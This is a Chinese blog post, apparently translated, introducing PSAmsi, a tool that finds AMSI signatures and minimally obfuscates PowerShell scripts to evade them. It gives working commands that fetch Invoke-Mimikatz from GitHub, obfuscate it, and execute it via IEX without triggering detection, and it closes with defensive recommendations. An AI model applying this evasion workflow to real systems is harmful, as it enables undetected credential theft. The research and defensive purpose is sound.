导语:我最近发布了一款攻击——PSAmsi,这是一个审计和攻击AMSI签名的工具。虽然该项目的既定目标是伪造AMSI签名,但与此同时真正的动机是绕过混淆检测。
我最近发布了一款攻击——PSAmsi,这是一个审计和攻击AMSI签名的工具。虽然该项目的既定目标是伪造AMSI签名,但与此同时真正的动机是绕过混淆检测。
我们已经有了一个能够的伪造AMSI签名的工具,此工具是由Daniel Bohannon基于PowerShell编写的Invoke-Obfuscation。(我可以肯定的说“ 我从来没有遇见Invoke-Obfuscation 不能伪造AMSI脚本中的签名的情况,但理论上可能会发生)。
这个问题就变成了当防御者变得聪明时,所有这些混淆就变成了无稽之谈,而不是只匹配简单的字符串签名,实现某种模糊检测。过去我已经写了一些关于模糊检测的内容,Daniel和Lee Holmes 从那时起就进行了一些更彻底的研究。
混淆检测的基本前提是经过重度混淆的脚本立即被人眼识别为不寻常的脚本。例如,使用Invoke-Obfuscation可能会导致以下输出:
PS > $ExampleScript = { function Write-Num { Param ([Int] $Num) Write-Host $Num } Write-Num 3 } PS > Invoke-Obfuscation -ScriptBlock $ExampleScript -Command "TokenALL1" -Quiet function wrITE`-`NUM { Param ([Int] ${N`Um}) .("{0}{2}{1}"-f'Wr','t','ite-Hos') ${n`UM} } .("{1}{0}{2}"-f 'u','Write-N','m') 3
任何看到输出结果的脚本的人都会马上意识到这里看起来有些不对劲,这似乎被混淆了。Revoke-Obfuscation自动将给定的PowerShell脚本与PowerShell脚本的常见特征进行比较以确定它是否被混淆。
另外,在Windows 10(v1709)的最新版本中,Windows Defender漏洞检测防护工具引入了一些有趣的攻击面缩减规则,其中包括叫做使用AMSI 阻止模糊脚本的规则。这有可能将混淆检测从使用撤销 – 混淆处理的执行后检测提升到实际执行预防的层面。
如果我们不需要隐藏脚本代码,为什么我们会使用如此“重”的混淆方式呢?混淆可能有很多目标,但是如果我们唯一的目标是混淆一系列签名,那么为什么要混淆除了这组签名之外的任何内容,为维护者提供了另一个潜在的恶意活动指标?我们可以通过足够的混淆程度来最小化我们的混淆需求,而不会触发任何签名检测。
为了仅在一组签名上进行混淆,我们首先需要知道这些签名是什么。这就是PSAmsi的切入点。它会自动化的在特定的恶意脚本中发现AMSI签名的过程(并随后对其进行混淆)。要理解PSAmsi如何做到这一点,我们首先需要对AMSI究竟是什么以及它是如何工作的有一个了解。
AMSI简介
概述
AMSI(反恶意软件扫描接口)被设计为允许应用程序利用他们的反恶意软件提供商(fka AntiVirus)在运行时扫描内部内容的一种手段,而传统的文件扫描反恶意软件产品从来不可能完全扫描脚本内部的内容。这允许应用程序选择需要扫描的内容,并对结果做出反应。应用程序本身比第三方反恶意软件产品更需要了解扫描的细节。此外,AMSI还充当了请求应用程序与AntiMalware Provider无关的AntiMalware Provider之间的中间人,并且允许应用程序请求内容扫描,而无需知道AntiMalware产品将执行的扫描。下面的图表(由微软提供)为我们提供了一个关于微软如何展开这项工作的一个高层次的观点:
如上图所示,已经有一些应用程序开始利用AMSI,即:PowerShell,JScript和VBScript。
PowerShell是一个很好的例子,它利用AMSI为反恶意软件提供商提供了比没有AMSI时更大的覆盖范围。PowerShell在执行时通过AMSI提交Scriptlocks,这样做有助于解密几种混淆形式,从而使反恶意软件提供程序能够获得它所不具备的反混淆能力。
但是,AMSI有可能做得事情更多。微软AMSI文档中提到的一个想法是,它最终可能用于域和IP地址的信誉检查。想象一下,如果浏览器应用程序在向请求的站点发送任何HTTP请求之前,是否利用AMSI向反恶意软件提供程序查询IP信誉和域分类?像这样的想法可能会改变反恶意软件提供商的游戏规则,并有助于减少所有AV产品所做的针对没有用的扫描文件的散列匹配。
使用AMSI
从应用的角度来看,利用AMSI需要调用一系列Win32 API函数:AmsiInitalize,AmsiOpenSession,AmsiScanString,AmsiScanBuffer,AmsiCloseSession,和AmsiUninitialize。这些函数都是在amsi.dll中定义的。在宏观角度来说,看起来像这样:
但是,具体实施中还有一些细节。有一个amsiContext和一个session的概念。amsiContext是对提交的内容进行扫描的应用程序(即PowerShell)的引用,session是对相关内容扫描流的引用。应用程序可以维护一个或多个会话,以便在多个扫描中关联内容。例如,PowerShell可以在一个会话中扫描每个ScriptBlock给定的PowerShell脚本,而在另一个PowerShell脚本中为每个ScriptBlock使用另一个会话。这使AntiMalware Provider能够通过session扫描关联的数据。
对于考虑将AMSI应用到其应用程序中的开发人员来说,下图可能是一个有用的参考:
在上图所示的背后,amsi.dll调用了AntiMalware Provider。不幸的是,关于这个过程是如何工作的(当然我是知道的)没有很多公开的文档。
对于请求应用程序,AMSI提供了一个独特的时机来扫描选定的内容,并以任何想要的方式对AntiMalware Provider的响应作出反应。对于大多数应用程序,这可能意味着会被停止执行并被检测为恶意的内容。例如,PowerShell将停止执行包含含有恶意内容的ScriptBlock的PowerShell脚本。
但是,PSAmsi的反应AMSI_RESULT稍有不同,正如你将在下面的“ 查找AMSI签名”部分中看到的那样。
进行AMSI扫描
如果给定的内容是恶意的话,那么任何应用程序都可以询问反恶意软件提供商,这就是PSAmsi所提供的功能。它按照预期使用接口。
PSAmsi创建了一个之前提到的必要的Win32 API函数的内存模块PSReflect,并公开了它命名一个PowerShell类PSAmsiScanner。这个类允许我们轻松地进行AMSI扫描来检查任意字符串或缓冲区中的恶意内容:
PS > $Scanner = [PSAmsiScanner]::new() PS > $Scanner.GetPSAmsiScanResult('test') False PS > $MaliciousUrl = 'https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1' # GetPSAmsiScanResult accepts strings, ScriptBlocks, file paths, or URIs: PS > $Scanner.GetPSAmsiScanResult([Uri]::new($MaliciousUrl)) True # There are also PowerShell cmdlets that wrap the PSAmsiScanner class: PS > Get-PSAmsiScanResult -ScriptString 'test' False PS > $Scanner = New-PSAmsiScanner PS > Get-PSAmsiScanResult -ScriptUri $MaliciousUrl -PSAmsiScanner $Scanner True PS > $Scanner.AlertCount 1
这个PSAmsiScanner只是一个在PowerShell中进行AMSI扫描的方便机制,在PSAmsi之外可能有更多的防御性用例。
寻找AMSI签名
一旦我们了解了AMSI的所有功能只是在应用程序给定的内容块是恶意的时候,告诉任何一个程序。实际的签名过程只是一个简单的搜索算法。
PSAmsi利用PowerShell内置的功能强大的AbstractSyntaxTree(“AST”)来识别脚本中代码最小的逻辑块,这些代码被AntiMalware提供商识别为恶意代码。
当然,我们只需要不断扫描脚本的一小部分,直到我们确定被检测为恶意的最小的一块。AST只是帮助我们加快了这个过程,让我们找到最小的逻辑代码片段。
例如,我们先来看看我们的示例脚本,它对应于AST:
假设我们已经安装了一个AntiMalware Provider,它检测到字符串“Write-Host $ Num”是恶意的。如果我们用这个AST扫描这个AST的每个节点PSAmsiScanner,我们可能会得到这样的结果:
你可以看到一个被检测节点的子树形成了主树,我将其称为“检测树”。我们检测树的所有叶子节点(可能有多个)就是我们产生的签名。
PSAmsi的Find-AmsiSignatures功能为我们自动化了这个发现过程:
PS > $Signatures = Find-AmsiSignatures -ScriptUri $MaliciousUrl PS > $Signatures StartOffset SignatureType SignatureContent ----------- ------------- ---------------- 37213 CommandAst Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect 39331 CommandAst Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory 58744 CommandExpressionAst $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $Argum... 2494 ParamBlockAst Param(... 27 PSToken <#...
最大限度地减少混淆,最大限度地隐藏
随着我们对AntiMalware Provider搜索的确切的AMSI签名的知识的学习和了解,我们实际上需要做的混淆的数量将大大减少。让我们来看看我们刚刚找到的那些签名Find-AmsiSignatures中的一个:
PS > $Signatures[0] Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect` PS > Get-PSAmsiScanResult $Signatures[0] True Invoke-Obfuscation提供了一个技巧,我们可以使用混淆变量的技巧是简单地将变量名称包装在大括号中: PS > $ObfuscationTest = 'Add-Member NoteProperty -Name VirtualProtect -Value ${VirtualProtect}' PS > Get-PSAmsiScanResult $ObfuscationTest False
我们绕过了AMSI签名!并且只是添加两个字符!
PSAmsi的Get-MinimallyObfuscated函数将Find-AmsiSignatures函数发现的每个签名的最小混淆处理过程自动化,使我们能够成功混淆和执行任何恶意脚本:
PS > $ObfMimikatz = Get-MinimallyObfuscated -ScriptUri $MaliciousUrl PS > $ObfMimikatz | IEX; Invoke-Mimikatz -Command Coffee .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( [email protected] ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106 mimikatz(powershell) # Coffee ( ( ) ) .______. | |] / `----'
这种最小化的混淆形式是非常难以发现的:
PS > Measure-RvoObfuscation -ScriptExpression $ObfMimikatz Hash Obfuscated Source ---- ---------- ------ BB06698FAFC19A076041D2510897EBB88F8E2F430A2AEDFB010611BBD82DC392A2 False <Direct>
现在我们使用混淆来绕过所有的AMSI签名,并且避免引入新的混淆来帮助防御者识别到我们前面提到的恶意PowerShell代码。我们实现了最大限度地减少混淆,最大限度地隐身。
防御
我已经尽了最大的努力,使得这一系列可行的步骤能够让防御者可以采取保护免受任何 PowerShell的威胁,包括由PSAmsi产生的有效载荷。几乎所有的这些防御思想都在其他地方进行了详细的讨论,但是我会尽力在这里总结一下。
首先,对防御者来说的一个好消息是,PSAmsi 在搜索AMSI签名时会产生大量的AV警报。但是,如果攻击者正确使用了PSAmsi,他们将不会在任何系统上执行它,而只会执行由PSAmsi 生成的有效载荷。
当我说PSAmsi最大限度地减少混淆以最大限度地隐身时,我的意思是说,它最大限度地提高了PowerShell有效载荷的隐身性。幸运的是,防御者有很多选择可以检测和保护自己免受PowerShell威胁。
以下是一个组织可以采取防御措施的列表,以抵御PowerShell威胁,包括使用PSAmsi生成的有效负载。这些是按照建议的实施顺序(大致)列出的:
1. 部署PowerShell v5(并删除PowerShell v2) – 如果你仍然部署了安装了PowerShell v2的系统,则这是第一步。在没有PowerShell v5的情况下,防御者对在其环境中执行的PowerShell脚本的可见性为零。攻击者不需要混淆他们的有效载荷就可以逃脱检测,更不用说将混淆最小化。
2. 启用PowerShell ScriptBlock日志 – 即使在确保AMSI支持之前,防御者应确保他们已经在其端点上启用了ScriptBlock日志记录。AMSI只会帮助保护Windows 10和Server 2016计算机,而ScriptBlock日志记录可以帮助防御者在安装PowerShell的任何位置获得可见性。不仅应该启用ScriptBlock日志记录,还应集中收集并监视ScriptBlock日志以查找威胁。
3. 支持AMSI的AntiMalware Provider – Windows 10和Server 2016中的默认Windows Defender安装自带AMSI支持,默认情况下已启用!使用不同的反恶意软件提供程序?确保他们为AMSI提供支持并且已启用。这种保护只适用于Windows 10和Server 2016机器,并尝试将尽可能多的服务器/工作站升级到最新的Windows 10和Server 2016版本。
4. 混淆检测 – 实现某种形式的混淆检测。这可以通过收集日志并使用Revoke-Obfuscation或其他产品或使用阻止混淆内容的AMSI AntiMalware Provider(例如ASR添加到Windows Defender)进行分析来完成。
5. 改进的AMSI签名 – 为了实现最小化的混淆,需要改进的AMSI签名。AMSI仅为反恶意软件提供商提供签名的基础结构。在一天的扫描结束时,检测依赖于一组签名。不幸的是,大多数防御者无法控制由他们的反恶意软件提供商实施的签名。使用PSAmsi审核你的AMSI签名,并向你的供应商施加压力以提高其签名的安全性。
6. 通过检测来预防威胁 – 最后,认识到AMSI是预防这个方向迈出的一大步,但作为一个检测已知“坏”的平台,但并不全是坏的。预防和AMSI永远不可能完全值得依靠,防御者者应该思考如何预防。应该收集PowerShell日志,命令行日志和其他事件日志,并不断监视威胁。
7. 约束语言模式 – PowerShell的约束语言模式(CLM)可与Application WhiteListing(AWL)解决方案一起部署,作为防止恶意PowerShell威胁的更强大手段。这涉及将黑名单特定签名和黑名单内容混淆的思维转换,以及假定所有内容都是恶意的,白名单上批准的脚本和可执行内容。CLM只允许PowerShell功能的一个子集,主要是Microsoft签名的cmdlet,并且限制了攻击者可以完成的任务,即使是管理访问也是如此。AWL可能难以正确实现,应该首先在审计(或非阻塞)模式下进行测试,并逐渐引入到环境中。
8. 只需足够的管理 – 可以部署足够的管理(“JEA”),以限制PowerShell代码甚至可以比限制语言模式更进一步执行。JEA允许防御者在“无语言模式”下部署PowerShell,这意味着除了使用JEA指定的白名单功能之外,不能执行任何 PowerShell代码。例如,也许一个DNS管理员需要运行Restart-Service -Name DNS。随着JEA管理员可以限制为只对Restart-Servicecmdlet,并仅在DNS参数的-Name参数。这使得防御者对允许在给定系统上运行的PowerShell代码有非常细致的控制。
正如你在上面看到的,有很多可以防止PowerShell威胁的方法。作为防御者执行上面列出的每个步骤,PSAmsi会变得越来越无效。
作为防御者,一旦你通过第6步 – 检测预防,你将能够开始检测由PSAmsi产生的有效载荷。从本质上讲,PSAmsi打开了步骤4 – 模糊检测到步骤6的入口。一旦做到步骤6到7和8,PSAmsi生成的有效载荷将完全无法成功运行。
参考
以下是我可能会或可能不会在本文前面提到的有用的参考: